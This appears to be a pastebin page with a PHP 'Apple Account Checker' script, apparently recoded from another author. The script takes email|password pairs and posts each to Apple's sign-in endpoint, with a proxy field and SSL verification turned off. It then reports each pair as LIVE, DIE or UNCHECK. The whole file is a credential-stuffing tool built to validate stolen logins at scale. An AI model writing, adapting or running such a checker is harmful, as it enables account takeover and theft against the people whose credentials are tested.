SHOW:
|
|
- or go back to the newest paste.
1 | <?php | |
2 | /* | |
3 | * Recoded ScriM4zK | |
4 | * Apple Account Checker Ndasmu ea :v | |
5 | * Thx for all bebep :* | |
6 | */ | |
7 | error_reporting(0); | |
8 | session_start(); | |
9 | ||
10 | require 'includes/class_curl.php'; | |
11 | ||
12 | $sock = $_POST['sock']; | |
13 | $timeout = $_POST['timeout']; | |
14 | $pisah = explode('|', $_POST['mailpass']); | |
15 | $email = $pisah[0]; | |
16 | //$user = explode("@", $email); | |
17 | //$username = $user[0]; | |
18 | $password = $pisah[1]; | |
19 | $stiker = '<b><font color=green>Checked on</font> <font color=red>'.$_SERVER['HTTP_HOST'].'</font> <font color=green>at</font> <font color=red>'.date("g:i a - F j, Y").'</font></b>'; | |
20 | ||
21 | $hasil = array(); | |
22 | ||
23 | if (isset($pisah)){ | |
24 | ||
25 | // cek wrong | |
26 | if ($pisah[1] == '' || $pisah[1] == null) { | |
27 | die('{"error":-1,"msg":"<font color=red><b>UNKNOWN</b></font> | Unable to checking"}'); | |
28 | } | |
29 | ||
30 | $curl = new curl(); | |
31 | $curl->cookies('cookies/'.md5($_SERVER['REMOTE_ADDR']).'.txt'); | |
32 | $curl->ssl(0, 2); | |
33 | ||
34 | // $url = 'https://idmsa.apple.com/IDMSWebAuth/authenticate'; | |
35 | ||
36 | // $page = $curl->get($url); | |
37 | ||
38 | // if ($page) { | |
39 | ||
40 | // $data = "appleId=" | |
41 | ||
42 | $site = $curl->post('https://idmsa.apple.com/IDMSWebAuth/authenticate', 'appleId='.$email.'&accountPassword='.$password.'&appIdKey=af1139274f266b22b68c2a3e7ad932cb3c0bbe854e13a79af78dcc73136882c3&accNameLocked=false&language=US-EN&path=/signin/?referrer=/account/manage&Env=PROD'); | |
43 | ||
44 | ||
45 | // $site = $curl->post($url, $data); | |
46 | ||
47 | $json = json_decode($site); | |
48 | if (!$site) { | |
49 | ||
50 | // if (inStr($site, "Your Apple ID or password was entered incorrectly.")) { | |
51 | die('{"error":2,"msg":"<font color=red><b>DIE</b></font> | '.$sock.' | '.$email.' | '.$password.' | Reason: Connection Lost! "}'); | |
52 | } else if (isset($json->errors)) { | |
53 | ||
54 | // } else if (inStr($site, "This Apple ID has been locked")) { | |
55 | ||
56 | die('{"error":2,"msg":"<font color=red><b>DIE</b></font> | '.$sock.' | '.$email.' | '.$password.' | Reason: Wrong Password! "}'); | |
57 | // } else if (strpos($site, "account/verify/email")) { | |
58 | } else if (isset($json->success) && $json->success == true) { | |
59 | ||
60 | // Request Header | |
61 | $header[] = 'X-Requested-With: XMLHttpRequest'; | |
62 | $header[] = 'Accept: application/json, text/plain, */*'; | |
63 | $header[] = 'Content-Type: application/json;charset=utf-8'; | |
64 | $header[] = 'User-Agent:Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36'; | |
65 | $site['header'] = $curl->header($header); | |
66 | ||
67 | die('{"error":0,"msg":"<font color=green><b>LIVE</b></font> | '.$sock.' | '.$email.' | '.$password.' | [ Acc : Apple ] '.$stiker.'"}'); | |
68 | } else { | |
69 | die('{"error":-1,"msg":"<font color=red><b>UNCHECK</b></font> | '.$sock.' | '.$email.' | '.$password.'"}'); | |
70 | } | |
71 | } | |
72 | ?> |